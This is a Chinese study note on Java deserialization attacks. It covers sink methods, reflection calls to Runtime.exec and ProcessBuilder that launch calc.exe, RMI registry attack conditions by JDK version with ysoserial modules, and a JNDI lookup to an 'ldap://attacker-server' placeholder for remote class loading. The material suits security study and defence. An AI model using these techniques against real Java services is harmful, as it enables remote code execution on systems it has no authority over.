最新更新时间: 2020-04-26 21:40:00

反序列化

private void readObject(java.io.ObjectInputStream in)
private void writeObject(java.io.ObjectOutputStream out)

serialVersionUID的作用:Java的序列化机制是通过在运行时判断类的serialVersionUID来验证版本一致性的

漏洞存在场景

  • 有一个可序列化的类重写了readObject,且readObject中存在method.invoke形式的反射调用可控。

漏洞外在场景

  • http参数
  • socket、java远程调用的各种协议
  • xml
  • json

反序列化 sink method

jackson
  • java.lang.reflect.Method#invoke
  • javax.naming.Context#lookup
  • javax.naming.Context#bind
  • java.lang.Runtime#exec
  • java.lang.ProcessBuilder#ProcessBuilder
  • java.sql.Driver#connect
  • org.xml.sax.XMLReader#parse
  • javax.xml.parsers.SAXParser#parse
  • javax.xml.parsers.DocumentBuilder#parse

hashmap用法

  • URL->hashCode => InetAddress->getByName

反射

java.lang.Class 反射中心
java.lang.Class获取方法

  • obj.getClass()
  • Test.class
  • Class.forName()

Class<?> forName(String name, **boolean** initialize, ClassLoader loader)
initialize参数用于类初始化

公有 => 私有
getMethod => getDeclaredMethod
getConstructor => getConstructor

classname中的$用来表示内部类。如 A$B.class

1
2
3
class A {
class B {}
}

Runtime的调用

1
2
Class clazz = Class.forName("java.lang.Runtime"); 
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");

ProcessBuilder的调用

1
Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance( Arrays.asList("calc.exe")));

利用场景

  • 沙箱绕过

RMI

RMI server包括

  • 一个继承了java.rmi.Remote的接⼝,其中定义我们要远程调⽤的函数
  • 一个实现了此接⼝的类
  • 一个主类,⽤来创建Registry,并将上面的类实例化后绑定到⼀个地址。这就是我们所谓的Server
    了。

RMI registry 攻击面:

  • list、lookup方法远程调用
  • codebase rce,条件
    • 安装并配置了SecurityManager
    • Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false
  • client bind反序列化 条件:
    • 低于jdk8u121 直接继承远程类搞定 ysoserial.exploit.RMIRegistryExploit
    • 高于jdk8u121,低于jdk8u141 ysoserial.payloads.JRMPClient绕过白名单
    • 高于jdk8u141 限制只能localhost进行bind操作,gg

JNDI

包括Naming Service和Directory Service
jndi会根据输入name的协议进行动态协议转换,比如

1
2
3
4
5
6
7
8
9
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);

String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
ctx.lookup(name);

JNDI+RMI:

  • 低于jdk8u113,把rmiserver返回codebase,jndi作为client去请求时加载codebase,继而加载codebase上的evilobj
  • 高于jdk8u113,找本地的Reference Factory工厂类(tomcat的BeanFactory)

JNDI+LDAP:

  • 低于jdk8u191,类似rmi的第一种
  • 直接依靠本地的反序列化链完成

参考链接